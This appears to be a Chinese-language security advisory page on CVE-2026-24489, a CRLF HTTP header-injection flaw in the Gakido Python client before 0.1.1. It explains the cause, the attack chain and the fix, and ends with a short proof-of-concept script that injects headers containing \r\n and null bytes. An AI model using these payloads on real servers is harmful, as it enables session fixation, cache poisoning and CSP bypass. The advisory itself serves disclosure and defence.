IPBUF安全漏洞报告
English
CVE-2026-24489 CVSS 5.3 中危

CVE-2026-24489 Gakido HTTP Header Injection 漏洞

披露日期: 2026-01-27

漏洞信息

漏洞编号
CVE-2026-24489
漏洞类型
HTTP Header Injection
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Gakido

相关标签

HTTP Header InjectionCRLF InjectionGakidoPythonCVE-2026-24489HTTP Response Splitting

漏洞概述

Gakido是一个专注于浏览器模拟和反爬虫规避的Python HTTP客户端。该漏洞存在于0.1.1之前的版本中,允许攻击者通过在用户提供的HTTP头部名称和值中注入CRLF(回车换行)序列来执行HTTP头部注入攻击。当使用包含\r\n(CRLF)、\n(LF)或\x00(空字节)字符的用户控制头部值发起HTTP请求时,攻击者可以在请求中注入任意HTTP头部。这可能导致会话固定攻击、跨站脚本(XSS)通过头部注入、缓存中毒以及绕过安全策略等危害。攻击者无需认证即可利用此漏洞,且影响HTTP请求的完整性和机密性。

技术细节

漏洞根源在于Gakido在构建HTTP请求时未对用户提供的头部名称和值进行充分验证。攻击者可以在头部值中插入CRLF序列(如\r\n),使HTTP解析器认为新头部开始,从而注入任意头部内容。例如,在User-Agent头部值中注入\r\nX-Injected-Header: malicious\r\n\r\n,HTTP服务器会将其解析为两个独立的HTTP头部。攻击者可以利用此技术注入Set-Cookie头部进行会话固定,或注入CSP头部绕过内容安全策略。修复版本0.1.1通过新增_sanitize_header()函数,在将头部加入请求前过滤掉所有\r、\n和\x00字符,有效阻止了CRLF注入攻击。

攻击链分析

STEP 1
步骤1
攻击者识别目标应用使用的Gakido HTTP客户端版本(< 0.1.1)
STEP 2
步骤2
攻击者构造包含CRLF序列(\r\n)的恶意HTTP头部值
STEP 3
步骤3
通过用户输入或API调用将恶意头部注入到HTTP请求中
STEP 4
步骤4
Gakido在构建HTTP请求时未过滤CRLF字符,直接将恶意头部加入请求
STEP 5
步骤5
HTTP服务器解析注入的头部,攻击者可利用注入的头部执行会话固定、CSP绕过或缓存中毒等攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import gakido # PoC for CVE-2026-24489 - HTTP Header Injection in Gakido # Vulnerable versions: < 0.1.1 client = gakido.Client() # Inject arbitrary HTTP headers via CRLF injection malicious_headers = { 'User-Agent': 'Mozilla/5.0\r\nX-Injected-Header: malicious-value\r\nX-Injected-Header2: another-value', 'X-Custom-Header': 'value1\x00\x0a\x0dmalicious' } try: # This will inject arbitrary headers in vulnerable versions response = client.get('http://target.example.com/', headers=malicious_headers) print(f"Status: {response.status_code}") except Exception as e: print(f"Error: {e}") # Fixed version check try: from gakido.utils import _sanitize_header # Sanitized headers should strip CRLF characters sanitized = _sanitize_header(malicious_headers['User-Agent']) print(f"Sanitized header: {sanitized}") except ImportError: print("Vulnerable version - _sanitize_header not available")

影响范围

Gakido < 0.1.1

防御指南

临时缓解措施
如无法立即升级,可在前端对所有HTTP头部输入进行严格的输入验证,过滤CRLF、空字节等特殊字符;或使用反向代理过滤恶意请求头。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表